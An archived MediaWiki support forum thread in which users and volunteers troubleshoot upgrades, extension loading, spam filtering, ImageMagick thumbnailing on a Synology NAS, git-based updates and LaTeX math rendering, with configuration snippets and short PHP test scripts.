When you extracted the tar.gz file, check the extracted file includes/DefaultSettings.php and see, which version number is set inside it. You will notice this is 1.21.3.

Then also check the files, which you are using in your installation; which version does that file contain there? 88.130.69.1 12:35, 24 November 2013 (UTC)

1.21.2, which is odd as I'm certain I was upgrading from 1.21.1 and that I'd uploaded all the files as usual, before running the upgrade. Guess I'll have to doublecheck that nothing was missed. 119.15.79.125 09:41, 26 November 2013 (UTC)

That means that you have not replaced the files properly; at least this one has definitely not been replaced and I guess chances are that the others have not been as well. 88.130.100.106 14:41, 26 November 2013 (UTC)

Seems to have been the case, now resolved. Not sure what happened there when I originally uploaded the files, but thanks for the tip. 119.15.79.125 00:08, 27 November 2013 (UTC)

You're welcome! I guess that you misstyped the name of the folder to which you wanted to copy the MediaWiki files. Maybe you find them in another location later... ;-) 88.130.106.29 13:26, 27 November 2013 (UTC)

Unable to Load Extensions

The default extensions installed just fine. But when I try to manually edit the LocalSettings.php to add an extension, the sit will no longer load. If I comment out the extension, the site starts working again. The LocalSettings.php is in the /var/www/mediawiki directory and the extensions are in the /var/www/mediawiki/extensions directory with 755 permissions. 97.87.0.218 (talk) 04:46, 23 November 2013 (UTC)

Hi!

the site will no longer load

What is the error message you get? We won't be able to help you without an error message. blank page? 88.130.80.157 11:17, 23 November 2013 (UTC)

Exactly, just a blank page. I'm trying to start simple with the the SpecailKB.php to add knowledge base articles. I'm now getting the following.

Extension:

SpecialKB.php

http://www.mediawiki.org/wiki/Extension:Knowledgebase

Warning: require_once(SpecialPage.php): failed to open stream: No such file or directory in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 24

Fatal error: require_once(): Failed opening required 'SpecialPage.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 24

So it looks like I am missing an include_path entry. SpecailPage.php is in the /var/www/mediawiki/includes/ directory. Where is the best place to modify this include path entry?

Thanks! 97.87.0.218 15:02, 23 November 2013 (UTC)

So I added the path to the SpecialPage.php in the SpecialKB.php. Now I am getting the following.

Fatal error: Call to undefined method SpecialPage::addPage() in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 35 97.87.0.218 18:18, 23 November 2013 (UTC)

Hi!

Maybe; you can edit LocalSettings.php and add the include paths, which are missing using the PHP function ini_set(). Try it, however, I am not so sure if that helps.

Open /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php with a text editor and see what it has on line 24 and maybe a few lines before that. It obviously requires the file SpecialPage.php, which is not there. Maybe you have a path problem (= some configuration variables set incorrectly)? 88.130.80.157 18:25, 23 November 2013 (UTC)

Hi

I am having same issue, The extensions don't get to installed.

My code is:

require_once ( "$IP/wiki/extensions/WYSIWYG/WYSIWYG.php");
$wgGroupPermissions['*']['wysiwyg']=true;

I am getting blank page. if i hashed the code site start work, But no extensions installed.

Please

Please help otherwise i have to uninstall. Ssutdhar (talk) 01:08, 6 December 2013 (UTC)

Hi!

Try with

require_once("$IP/extensions/WYSIWYG/WYSIWYG.php");
$wgGroupPermissions['*']['wysiwyg']=true;

Still not working with above command. when user require_once command website become white page. Any does not get to install.

sunny 88.130.81.37 01:54, 6 December 2013 (UTC)

Hi

The same above code code i am trying. No Luck

Please help Ssutdhar (talk) 09:01, 6 December 2013 (UTC)

Make sure that the extension files are at the right place. Especially the file WYSIWYG.php must be at extensions/WYSIWYG/WYSIWYG.php. In your case it seems like it is not. 88.130.81.37 14:14, 6 December 2013 (UTC)

It is still not working. I thinking (require_once) command is not working. Where i can look into please advise. 207.114.132.29 00:55, 7 December 2013 (UTC)

You can look into the PHP source code: http://php.net/downloads.php 88.130.123.87 02:01, 7 December 2013 (UTC)

i have same problem, when i add an extension code to localsetting.php the website shows a complete blank page with no error. now i will unistall cause i found no solution after searched a whole day. 94.183.216.241 (talk) 06:39, 8 April 2020 (UTC)

Same issue here.. any solutions ? 2405:204:5604:CBC8:361C:FF62:DD78:D36F (talk) 15:19, 12 May 2020 (UTC)

See Manual:Errors and symptoms#You see a Blank Page. AhmadF.Cheema (talk) 16:46, 12 May 2020 (UTC)

SOLVED Hidding the toolbox to anonymous users

I have this code to hide the toolbox from anonymous users. But it works after I've logged out, but only on the logout page. If I go to any other page, the toolbox reappears. Can someone help me with this? I am using

• MW 1.21.1
• PHP 5.3.24
• MySQL 5.1.70

// Render portals
   foreach ( $portals as $name => $content ) {
      if ( $content === false )
      continue;
      echo "\n\n";
      switch( $name ) {
           case 'SEARCH':
           break;
           case 'TOOLBOX':
            if ( $wgUser->isLoggedIn() ) {
           $this->renderPortal( 'tb', $this->getToolbox(), 'toolbox', 'SkinTemplateToolboxEnd' );
          }
       break;
       case 'LANGUAGES':
           if ( $this->data['language_urls'] ) {
           $this->renderPortal( 'lang', $this->data['language_urls'], 'otherlanguages' );
       }
       break;
       default:
       $this->renderPortal( $name, $content );
       break;
         }
       echo "\n\n"; Wade.courtney (talk) 17:40, 23 November 2013 (UTC)

This is resolved.

I just needed to clear my wiki page cache. Wade.courtney (talk) 18:15, 23 November 2013 (UTC)

categorization half-works

MediaWiki 1.21.2

PHP 5.4.20 (cgi-fcgi)

MySQL 5.5.34-log

I have just transferred my pages and files to a new host.

My problem: While pages associated with a category correctly display the category name in their footer, the category page does not always list these pages.

For instance, the page ביחד (‘Together’, in Hebrew) belongs to the category פרסומים (‘Publications’, in Hebrew) and this is correctly displayed in the footer. However, the page is not listed in the category page ‘Publications’.

My manual workaround: I found that when I save a page like ’Together’ (without making any actual edits), it shows up in the category page. This is a very slow process, and I have hundreds of pages. Is there a more efficient way to fix the issue? Ofrahod (talk) 19:06, 23 November 2013 (UTC)

You can run refreshLinks.php to fix this for all pages. Ciencia Al Poder (talk) 10:37, 27 November 2013 (UTC)

Filter 'a href' but not [ ]

I am trying to block edits containing the text a href in order to reduce spam bots activity. Firstly I used $wgSpamRegex to filter "\<\s*a\s*href", yet obviously, all external links within articles got also banned along with them, which I didn't expected to happen.

So, my point is, how to avoid the insertion of a href in plain html text, but allow anyway the [external links] wrapped by single sqaure brackets? Cafeinlove (talk) 21:04, 23 November 2013 (UTC)

Hi!

setting $wgSpamRegex is definitely the way to go. If that does not work correctly, the value you have set it to, is wrong. In your example the starting and closing wrapper of the regular expression is missing so that it produces unexpected results. In contrast this one should work:

$wgSpamRegex = "/". # The "/" is the opening wrapper

"\<\s*a\s*href|". # This blocks all href links entirely, forcing wiki syntax

"/i"; # The "/" ends the regular expression and the "i" switch which follows makes the test case-insensitive

# The "\s" matches whitespace

# The "*" is a repeater (zero or more times)

# The "\s*" means to look for 0 or more amount of whitespace 88.130.69.1 23:40, 23 November 2013 (UTC)

Gotta try this way, thanks for answering! Cafeinlove (talk) 04:00, 24 November 2013 (UTC)

New Install Environment Variables

I'm performing a fresh install from the following instructions.

Manual:Running MediaWiki on Ubuntu

I can't help but feel like I am missing some environment variables. I get the following error when adding the Knowledgebaseextension.

Warning: require_once(SpecialPage.php): failed to open stream: No such file or directory in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 24 Fatal error: require_once(): Failed opening required 'SpecialPage.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 24

Then when I manually specify the location in the SpecialKB.php file, I get another error:

Fatal error: Call to undefined method SpecialPage::addPage() in /var/www/mediawiki/extensions/SpecialKB/SpecialKB.php on line 35

What am I missing in these install instructions?

Thanks 97.87.0.218 (talk) 21:51, 23 November 2013 (UTC)

The Knowledgebase extension needs to be updated to run on newer versions of MediaWiki. Contact me if you need help with this. ☠MarkAHershberger☢(talk)☣ 17:44, 5 February 2014 (UTC)

Hide ArticleFeedbackv5 from Main Page

Hey guys,

ArticleFeedbackv5 seems pretty cool, but I was was wondering how to hide the widget from the mainpage? I'd like to avoid adding a "Main page" category and using $wgArticleFeedbackv5BlacklistCategories for this sole purpose. I am thinking I can use name spaces to accomplish this, but I am not quite certain how they work. I am using MW 1.21.1.

Thanks! Askanevsky (talk) 15:41, 24 November 2013 (UTC)

I would suggest using the category method, but making it a hidden category Bawolff (talk) 00:12, 29 November 2013 (UTC)

image resize thumbnails on synology diskstation

When I want to include a image as a thumbnail, I get the message that there was an error trying to create it (with nothing more info inside), no matter if I am trying to resize jpg or png. Ok, so I did a lot of research to make sure that I read the fine manual before I ask you.

I assured the following:

• imagemagick is installed in /volume1/@optware/bin/, there is the 'convert' file
• I made links with ln -s to this directory in /opt/bin/convert, (usr/bin/convert, /bin/convert
• I even did chmod 777 on /opt/bin/convert so I assured it doesn't lie on the file rights
• I entered the following options in my LocalSettings.php:
• I made /mediawiki/images/temp and /mediawiki/uploads and I chmodded it to 777 to again be sure that it's not the file permissions

$wgEnableUploads = true;
$wgUseImageResize = true;
$wgUseImageMagick = true;
$wgImageMagickConvertCommand = "/usr/bin/convert";
$wgUploadSizeWarnng = 1024*1024*100;
$wgMaxUploadSize = 1024*1024*100;
$wgFileExtensions = array('png','gif','jpg','jpeg','doc','xls','xml','pdf','tiff','docx','xlsx','ps','odt','tar','gz','rar','zip','7z','ods','odp','odg');
$wgUploadPath = "$wgScriptPath/uploads";
$wgUploadDirectory = "$IP/uploads";
$wgTmpDirectory = "$IP/images/temp";

I installed libpng, libjpeg and openjpeg via Apache IPKG

I tested the convert-file on the shell and I can convert pics with convert image.jpg -resize

the uploaded images are in /mediawiki/uploads in some random subfolders like '2' or 'd'. They are about 30-50 KB.

I also checked my php.ini if there is set 'disable̠function' but the string is empty, so exec()-function in PHP should work. in the folder /mediawiki/uploads, where the images are, there is no .htaccess-file yet Here are the folder's options of my httpd.conf

<Directory "/volume1/web/mediawiki/images">
#Ignore .htaccess files
AllowOverride None
#Serve HTML as plaintext, don't execute SHTML
AddType text/plain .html .htm .shtml .php .cgi .js .pl .java .rb .rbw
#Don't run arbitrary PHP code.
php_admin_flag engine off
Options -Indexes
</Directory>
<Directory "/volume1/web/mediawiki/uploads">
#Ignore .htaccess files
AllowOverride None
#Serve HTML as plaintext, don't execute SHTML
AddType text/plain .html .htm .shtml .php .cgi .js .pl .java .rb .rbw
#Don't run arbitrary PHP code.
php_admin_flag engine off
Options -Indexes
</Directory>

What else would I possibly have to check? Is there anything I should check in my httpd.conf? TIA Dafrk (talk) 21:18, 24 November 2013 (UTC)

Hi!

You pretty much went through the whole chain and tested everything. One thing you might try is to see, which command exactly MediaWiki is sending to convert (which then fails) and to send exactly the same command via the shell. 88.130.71.225 00:06, 25 November 2013 (UTC)

See manual:How to debug for info on how to enable debug logging, which may give more information, and will also tell you the exact command executed by MediaWiki. Also please include the exact error messages outputted by MediaWiki. Bawolff (talk) 00:07, 29 November 2013 (UTC)

thanks guys, i checked by turning on those options in LocalSettings.php

$wgShowExceptionDetails = true;
$wgDebugToolbar = true;
$wgShowDebug = true;
$gwDevelopmentWarnings = true;
$wgShowSQLErrors = true;
$wgDebugDumpSql  = true;
$wgShowDBErrorBacktrace = true;

alright, so I loaded an article with a thumbnail on it and on the thumbnail it says:

ehler beim Erstellen des Vorschaubildes:

Warning: passthru(): PHP exec disable. in /volume1/web/mediawiki/includes/GlobalFunctions.php on line 2854

which wonders me, so I checked if there is a) safe_mode=off and b) there is no disable_function set

I also tested these PHP scripts:

<?php
if(function_exists('exec')) {
    echo "exec is enabled";
}
?>

and

<?php
if( ini_get('safe_mode') ){ 
  echo "safe mode is on"; 
}else{ 
   echo "safe mode is off";
   }  
?>

I put them in the mediawiki main directory where the index.php is and ran them. They output "exec is enabled" and "safe mode is off".

So how could exec still be disabled?

I also set up a log file with $wgDebugFile and when i search convert it says this line:

BitmapHandler::transformImageMagick: running ImageMagick: '/usr/bin/convert' -quality 95 -background white '/volume1/web/mediawiki/uploads/d/de/Firemans_carry.png' -thumbnail '100x63!' -set comment 'File source: http://mydomain/mediawiki/index.php/Datei:Firemans_carry.png' -depth 8 -rotate -0 '/volume1/web/mediawiki/uploads/temp/transform_7b7f803965ea-1.png' 2>&1

when I copy the line and get it running on the shell beginnine with /usr/bin/convert, it works. in the temp directory there is a nice small .png file which I can open

when i search Next, I am getting this line

wfShellExec: /bin/bash '/volume1/web/mediawiki/includes/limit.sh' 'OMP_NUM_THREADS='\1'\ '\/usr/bin/convert'\ -quality 95 -background white '\/volume1/web/mediawiki/uploads/d/de/Firemans_carry.png'\ -thumbnail '\100x63!'\ -set comment '\File source: mydomain/mediawiki/index.php/Datei:Firemans_carry.png'\ -depth 8 -rotate -0 '\/volume1/web/mediawiki/uploads/temp/transform_7b7f803965ea-1.png'\ 2>&1' 'MW_CPU_LIMIT=180; MW_CGROUP='\'\; MW_MEM_LIMIT=409600; MW_FILE_SIZE_LIMIT=102400; MW_WALL_CLOCK_LIMIT=180'

ok, first thing I tried was to try this line on the shell as well and see - it says /bin/bash - file does not exist. Since Synology Diskstation is using Apache IPKG as Package Management because it needs special installation packages made for it's marvell ARM processor, it is installing new packages in /opt/bin. So I made a link from /opt/bin/bash to /bin/bash and now this line works as well. Seems that from now on this line is gone from my log file, but I still get not thumbnail:

I reloaded the page and now it takes longer to load and before it loads there is a millisecond-long flash like there would be a reallocation of HTML elements but it quits and throws the same error where the thumbnail should be.

I also checked the limits.sh and it says:

MW_CPU_LIMIT=0

MW_CGROUP=

MW_MEM_LIMIT=0

MW_FILE_SIZE_LIMIT=0

MW_WALL_CLOCK_LIMIT=0

So these might not be the error as well and the Limits are set via command line laters othey would be overwriten as well. But to be srue I increased $wgMaxShellMemory to 809600 just to be sure. then i tried again - still no thumbnail:

now, when i search the filename of the pic, firemans_carry.png, it says this line as well:

Title::getRestrictionTypes: applicable restrictions to [[Firemans Carry]] are {edit,move}

Well i think this is some Mediawiki internate with user management permissions for this image, so I don't think it has anything to do with the problem.

I also find:

File::transform: Doing stat for mwstore://local-backend/local-thumb/d/de/Firemans_carry.png/120px-Firemans_carry.png

FileBackendStore::getFileStat: File mwstore://local-backend/local-thumb/d/de/Firemans_carry.png/120px-Firemans_carry.png does not exist. Dafrk (talk) 17:15, 30 November 2013 (UTC)

Hi!

So the error you see now is

Warning: passthru(): PHP exec disable. in /volume1/web/mediawiki/includes/GlobalFunctions.php on line 2854

Honestly I do not understand, if that should tell you that passthru() is missing or if it is exec(). However, I would try with a file with this content

<?php phpinfo();?>

which, when called with the browser, will show you amongst other things, which functions really are disabled. Make sure to enable that/those function(s), which are missing (passthru, exec) and then try again... 88.130.68.65 18:51, 30 November 2013 (UTC)

yeah, as I expected, phpinfo shows no value for disable_function. there is also no open_basedir set and safe mode is off, too.

What I have discovered is, that I do not have a imagick.so. Can this be the reason for my problem? I don't think that imagick.so is necessary because imagemagick is called via command line and not by the imagick-PHP-Extension.

I tried the following php script:

<?php
$exec = exec("convert /volume1/public/double_leg.jpg /volume1/public/double_leg.png", $output, $return);
echo $exec;
echo "<br />----------------<br />";
print_r($output);
echo "<br />----------------<br />";
print_r($return);
?>

If I run it in the browser from the mediawiki root directory, it doesn't work. If i run it by shell with "php file.php" it works. Seems something's really wrong with exec.

Edit: I am still open for any more suggestions on how to fix the problem, but google research brought me to think that Synology somehow turned off the php exec-function hard-coded. It seems dependant on what Diskstation you have if you can fix this or not. Users using my model (DS107+) are stating that they didn't suceed in getting exec to run. Until I find out anything else, I am using ImageResize without imageMagick for now. Dafrk (talk) 21:32, 30 November 2013 (UTC)

Hi,

I also use the Synology DiskStation to host my MediaWiki. I had also the problems with the image processing (described above). But I was able to fix these issues by updating the version of MediaWiki.

Short description:

• ssh terminal as root
• rename existing folder /var/services/web/MediaWiki
• extract new version in /var/services/web
• change owner und group to nobody
• create a soft link /var/services/web/MediaWiki for the new folder
• copy the old image folder and the LocalSettings.php in the new folder
• change some entries in the LocalSettings.php

$wgEnableUploads = true;

$wgUseImageMagick = true;

$wgImageMagickConvertCommand = "/usr/syno/bin/convert";

I found on my System the program convert in the folder /usr/syno/bin. To check your system, use the following command:

type convert

• Call the update function

php maintenance/update.php 94.223.174.62 23:33, 4 February 2014 (UTC)

Specialpages error

When I try to open Specialpages page I get the error message

Fatal error: Cannot override final method SpecialPage::run() in /hosting/www/clients/client3/web31/web/extensions/EditImage/EditImage_body.php on line 151

Please, help me solve the problem. 89.222.167.6 (talk) 11:53, 25 November 2013 (UTC)

Fix the EditImage extension, or maybe try to get any feedback on the talkpage for that extension (it looks rather dead), or undeploy it for the time being? AKlapper (WMF) (talk) 12:55, 25 November 2013 (UTC)

Problem with Slideshare widget, unable to see presentation

HI all,

I am using Slideshare widget and am unableto see any presentation there. all I see is this message, http://www.karnatakaeducation.org.in/KOER/en/index.php/Social_Science:_Curriculum_and_Syllabus

I am using mediawiki 1.21.2 PHP 5.3.3-7+squeeze17 (apache2handler) MySQL 5.0.51a-24+lenny5 for my site. on my wiki.I used http://www.mediawikiwidgets.org/Widget:SlideShare I use this widget.

I have downloaded code into extensions/widgets and have given write permissions to compile folder. also created http://karnatakaeducation.org.in/KOER/en/index.php/Widget:SlideShare this page as per instructions.

Can anyone help in this?

Thanks, Leena 122.178.194.166 (talk) 12:52, 25 November 2013 (UTC)

As a first step I recommend http://www.mediawiki.org/wiki/Manual:How_to_debug and looking at your browser error console. In this case, it says "ReferenceError: _gat is not defined @ http://www.karnatakaeducation.org.in/KOER/en/index.php/Social_Science:_Curriculum_and_Syllabus:255" AKlapper (WMF) (talk) 13:04, 26 November 2013 (UTC)

Thanks,

I will check debug link from your message.

There is no error, slideshow doen't display anything. here is correct link http://www.karnatakaeducation.org.in/KOER/en/index.php/Social_Science:_Curriculum_and_Syllabus

Thanks,

Leena 122.167.64.208 13:26, 26 November 2013 (UTC)

That's exactly the same link as above that I refered to already. Not sure why you pasted it again. AKlapper (WMF) (talk) 15:43, 26 November 2013 (UTC)

My tables don't appear sortable

I'm using MediaWiki 1.22.0rc2 and default template Vector. Everything works as it should. Except one thing: When I create a sortable table, it doesn't appear sortable. My code looks like this:

{|class="wikitable sortable" border="1"
!data-sort-type="text" | Immobilie
!data-sort-type="currency" | Preise in $
!data-sort-type="text" | Was bringt die Immobilie?
!data-sort-type="text" | Wer kann die Immobilie kaufen?
|-
| Item 1
| style="text-align:right" | $ 275.000
| $ 150
| Jeder
...

In read mode, there is no arrows so I could sort the table.

I could not find any information about anything additional that needs to be installed or configured. What am I missing?

The wiki is closed/private, so I can't provide a link... Detlefs (talk) 18:14, 25 November 2013 (UTC)

I used to get something similar with Chrome, where the CSS did not always load. So the wikitable wasn't a wikitable at all. You could fix it by refreshing the page (control F5). But I've upgraded Chrome since then, and it doesn't seem to happen any more. I should add that I use GumaxDD skin with MW1.18. Jonathan3 (talk) 22:07, 25 November 2013 (UTC)

See if there's any JavaScript error preventing the load of the scripts. For example, you can see if other JavaScript-related stuff is also not working. For example, tabs in preferences. Ciencia Al Poder (talk) 10:43, 27 November 2013 (UTC)

Adding or tagging in a table

Greetings All! I'm looking for an extension that would allow users to add new rows to an existing table of data or change a rows rating score, preferably without using the wiki editor. Perhaps someone has the skills to help figure this out.

First, the prerequisite background info: Product Version MediaWiki 1.21.2 PHP 5.3.23 (cgi-fcgi) MySQL 5.1.70-cll

My Wiki Web www.one-voice.org Jacob22rmt (talk) 18:39, 25 November 2013 (UTC)

Upgrading using git

I have to confess I have asked this question on https://www.mediawiki.org/wiki/Talk:Download_from_Git too, but I'm repeating it here in case there is more chance of an answer.

If I have downloaded version X using git, how do I upgrade the files to version Y using git? Which of these two options?

1. git checkout <tag name> -- source: https://www.mediawiki.org/wiki/Download_from_Git#Switching_to_a_different_version

Or

2. If using Git, export the files into a clean location, and then copy the old customized files into the new location as described on the previous section. -- source https://www.mediawiki.org/wiki/Manual:Upgrading#Using_Git

Is option 2 just for the first time you use git?

Thanks Jonathan3 (talk) 22:02, 25 November 2013 (UTC)

Hi Jonathan!

No, you can use option 2 each time you upgrade.

However, it sounds a bit difficult to me. Copy the files and manually overwrite them. That is what Git can do; if I would use it, I would do that with git. I would first do an update in git with git pull and then I would git checkout the according tag.

Note that there is one problem you might get when you run git checkouts: Since you might use "unreleased" versions, it might happen that you update your database into a state, which somehow is errorneous and you cannot be sure that an update with a newer checkout will fix that state, because the version, which caused the error, is not made to be used in production. You can use such versions for development, but I would never use them for live sites. 88.130.100.106 22:48, 25 November 2013 (UTC)

Thanks for the quick response!

So the easiest way is to use option 2 (i.e. "git clone") for the first time I use git. And then use option 1 (i.e. "git checkout") each time after that.

Just to clarify - am I right in thinking that if I don't "git pull" then the tag for the newest version would not be available when I "git tag" and therefore I couldn't "git checkout" it?

Thanks again Jonathan3 (talk) 22:56, 25 November 2013 (UTC)

> So the easiest way is to use option 2 (i.e. "git clone") for the first time I use git. And then use option 1 (i.e. "git checkout") each time after that.

Yes. Before you can do a checkout you need to do a pull, however, I guess that's also in the docs you linked to.

> Just to clarify - am I right in thinking that if I don't "git pull" then the tag for the newest version would not be available when I "git tag" and therefore I couldn't "git checkout" it?

Exactly. pull gets you all new refs from the source git repository. That includes new commits, but also new tags and new branches (which basically only are pointers to a certain commit). So: Without the new commits and the tags pointing to some of them in your repo, you cannot use the new tags to check them out. 88.130.100.106 23:47, 25 November 2013 (UTC)

That is extremely helpful indeed. It isn't in the documentation anywhere that I could find. Maybe it is considered to be obvious - but it's not obvious unless you know it already! So much of the documentation about git is geared towards developers, rather than people who just want an easy way to download and upgrade. Thank you again!

Actually, while you're online -- I would plan to use the tag for the recent released version -- but is there any benefit/difference to using the relevant release branch? Jonathan3 (talk) 23:57, 25 November 2013 (UTC)

The easiest way to upgrade is using the tar.gz files; especially when you are not a developer. I would call me one and I use the tar.gz file anyway. ;-)

> Actually, while you're online -- I would plan to use the tag for the recent released version -- but is there any benefit/difference to using the relevant release branch?

I would use the tags. As you can see e.g. here the tags are not just attached to any commit, but to a commit from the release branch; so what you get with both basically is the same. However, with the tags you can be sure that you are not only using "any" commit from a release branch, but really the commit, which has also been published as released version (it will e.g. show the fitting version number, while commits from in-between versions won't). 88.130.100.106 01:57, 26 November 2013 (UTC)

P.S. Thanks for the advice about database inconsistencies. I only plan to use the released versions :-) Jonathan3 (talk) 22:57, 25 November 2013 (UTC)

PNG conversion failed; check for correct installation of latex and dvipng (or dvips + gs + convert)

When opening a page with math tag, "PNG conversion failed; check for correct installation of latex and dvipng (or dvips + gs + convert)" (解析失败(PNG 转换失败 ；检查正确安装的 latex 和 dvipng （或 dvips + gs + convert）) in Chinese) is shown.

MediaWiki 	1.21.3
PHP 	5.5.3-1ubuntu2 (apache2handler)
MySQL 	5.5.34-0ubuntu0.13.10.1

I have chmod 777 to wiki/images, and installed dvipng, dvips, gs, and convert.

Here is LocalSettings.php:

<?php
# This file was automatically generated by the MediaWiki 1.21.3
# installer. If you make manual changes, please keep track in case you
# need to recreate them later.
#
# See includes/DefaultSettings.php for all configurable settings
# and their default values, but don't forget to make changes in _this_
# file, not there.
#
# Further documentation for configuration settings may be found at:
# http://www.mediawiki.org/wiki/Manual:Configuration_settings

# Protect against web entry
if ( !defined( 'MEDIAWIKI' ) ) {
	exit;
}

## Uncomment this to disable output compression
# $wgDisableOutputCompression = true;

$wgSitename = "***";
$wgMetaNamespace = "***";

## The URL base path to the directory containing the wiki;
## defaults for all runtime URL paths are based off of this.
## For more information on customizing the URLs
## (like /w/index.php/Page_title to /wiki/Page_title) please see:
## http://www.mediawiki.org/wiki/Manual:Short_URL
$wgScriptPath = "/wiki";
$wgScriptExtension = ".php";

## The protocol and server name to use in fully-qualified URLs
#$wgServer = "http://localhost";

## The relative URL path to the skins directory
$wgStylePath = "$wgScriptPath/skins";

## The relative URL path to the logo.  Make sure you change this from the default,
## or else you'll overwrite your logo when you upgrade!
$wgLogo             = "$wgStylePath/common/images/wiki.png";

## UPO means: this is also a user preference option

$wgEnableEmail = false;
$wgEnableUserEmail = true; # UPO

$wgEmergencyContact = "apache@localhost";
$wgPasswordSender = "apache@localhost";

$wgEnotifUserTalk = false; # UPO
$wgEnotifWatchlist = false; # UPO
$wgEmailAuthentication = true;

## Database settings
$wgDBtype = "mysql";
$wgDBserver = "localhost";
$wgDBname = "***";
$wgDBuser = "***";
$wgDBpassword = "***";

# MySQL specific settings
$wgDBprefix = "";

# MySQL table options to use during installation or update
$wgDBTableOptions = "ENGINE=InnoDB, DEFAULT CHARSET=utf8";

# Experimental charset support for MySQL 5.0.
$wgDBmysql5 = false;

## Shared memory settings
$wgMainCacheType = CACHE_ACCEL;
$wgMemCachedServers = array();

## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgEnableUploads = true;
$wgUseImageMagick = true;
$wgImageMagickConvertCommand = "/usr/bin/convert";

# InstantCommons allows wiki to use images from http://commons.wikimedia.org
$wgUseInstantCommons = false;

## If you use ImageMagick (or any other shell command) on a
## Linux server, this will need to be set to the name of an
## available UTF-8 locale
$wgShellLocale = "en_US.utf8";

## If you want to use image uploads under safe mode,
## create the directories images/archive, images/thumb and
## images/temp, and make them all writable. Then uncomment
## this, if it's not already uncommented:
#$wgHashedUploadDirectory = false;

## Set $wgCacheDirectory to a writable directory on the web server
## to make your wiki go slightly faster. The directory should not
## be publically accessible from the web.
$wgCacheDirectory = "/tmp/cache";

# Site language code, should be one of the list in ./languages/Names.php
$wgLanguageCode = "zh-cn";

$wgSecretKey = "*****";

# Site upgrade key. Must be set to a string (default provided) to turn on the
# web installer while LocalSettings.php is in place
$wgUpgradeKey = "*****";

## Default skin: you can change the default skin. Use the internal symbolic
## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook', 'vector':
$wgDefaultSkin = "vector";

## For attaching licensing metadata to pages, and displaying an
## appropriate copyright notice / icon. GNU Free Documentation
## License and Creative Commons licenses are supported so far.
$wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright
$wgRightsUrl = "";
$wgRightsText = "";
$wgRightsIcon = "";

# Path to the GNU diff3 utility. Used for conflict resolution.
$wgDiff3 = "/usr/bin/diff3";

# Query string length limit for ResourceLoader. You should only set this if
# your web server has a query string length limit (then set it to that limit),
# or if you have suhosin.get.max_value_length set in php.ini (then set it to
# that value)
$wgResourceLoaderMaxQueryLength = -1;


# Enabled Extensions. Most extensions are enabled by including the base extension file here
# but check specific extension documentation for more details
# The following extensions were automatically enabled:
require_once( "$IP/extensions/Cite/Cite.php" );
require_once( "$IP/extensions/ConfirmEdit/ConfirmEdit.php" );
require_once( "$IP/extensions/Gadgets/Gadgets.php" );
require_once( "$IP/extensions/ImageMap/ImageMap.php" );
require_once( "$IP/extensions/InputBox/InputBox.php" );
require_once( "$IP/extensions/Interwiki/Interwiki.php" );
require_once( "$IP/extensions/LocalisationUpdate/LocalisationUpdate.php" );
require_once( "$IP/extensions/Nuke/Nuke.php" );
require_once( "$IP/extensions/ParserFunctions/ParserFunctions.php" );
require_once( "$IP/extensions/PdfHandler/PdfHandler.php" );
require_once( "$IP/extensions/Poem/Poem.php" );
require_once( "$IP/extensions/Renameuser/Renameuser.php" );
require_once( "$IP/extensions/SimpleAntiSpam/SimpleAntiSpam.php" );
require_once( "$IP/extensions/SpamBlacklist/SpamBlacklist.php" );
require_once( "$IP/extensions/SyntaxHighlight_GeSHi/SyntaxHighlight_GeSHi.php" );
require_once( "$IP/extensions/TitleBlacklist/TitleBlacklist.php" );
require_once( "$IP/extensions/Vector/Vector.php" );
require_once( "$IP/extensions/WikiEditor/WikiEditor.php" );


# End of automatically generated settings.
# Add more configuration options below.

require_once "$IP/extensions/Math/Math.php";
require_once("$IP/extensions/Quiz/Quiz.php");
require_once "$IP/extensions/UserMerge/UserMerge.php";
$wgGroupPermissions['bureaucrat']['usermerge'] = true;
$wgUserMergeProtectedGroups = array();
$wgScriptPath = "/wiki";
$wgArticlePath = "*****";
$wgGroupPermissions['sysop']['interwiki'] = true;
require_once("$IP/extensions/ExpandTemplates/ExpandTemplates.php");
$wgDebugLogFile = "*****";
 $wgFileExtensions[] = 'doc';
 $wgFileExtensions[] = 'PNG';
 $wgFileExtensions[] = 'GIF';
 $wgFileExtensions[] = 'JPG';
 $wgFileExtensions[] = 'JPEG';
 $wgFileExtensions[] = 'bmp';
 $wgFileExtensions[] = 'BMP';
 $wgAllowUserJs = true;
 $wgAllowUserCss = true;
# Enables use of WikiEditor by default but still allow users to disable it in preferences
$wgDefaultUserOptions['usebetatoolbar'] = 1;
$wgDefaultUserOptions['usebetatoolbar-cgd'] = 1;
 
# Displays the Preview and Changes tabs
$wgDefaultUserOptions['wikieditor-preview'] = 1;
 
# Displays the Publish and Cancel buttons on the top right side
$wgDefaultUserOptions['wikieditor-publish'] = 1;
require_once "$IP/extensions/DeleteBatch/DeleteBatch.php";
require_once ( "$IP/extensions/MassEditRegex/MassEditRegex.php" );
$wgGroupPermissions['sysop']['masseditregex'] = true; // Allow administrators to use Special:MassEditRegex
require_once( "$IP/extensions/ReplaceText/ReplaceText.php" );     

#    $wgEnableUploads = true;
    $wgUseTex = true;
    $wgUploadPath = "$wgScriptPath/images";
    $wgUploadDirectory = "$IP/images";
    $wgMathPath = "$wgUploadPath/math";
    $wgMathDirectory = "$wgUploadDirectory/math";
    $wgTmpDirectory = "$wgUploadDirectory/tmp";
    #$wgUploadBaseUrl = false; #not sure about why this one too...
    $wgTexvc = "/usr/bin/texvc"; #install through apt-get instead of make on ./math


    $wgLatexCommand = "/usr/bin/latex"; 
    $wgImageMagickConvertCommand = "/usr/bin/convert";

which *** are private data.

latex.fmt is in wiki/images/tmp. 61.144.23.34 (talk) 04:43, 27 November 2013 (UTC)

The error message is rather generic. It doesn't tell us if it failed to save the image, failed to find a executable, etc.

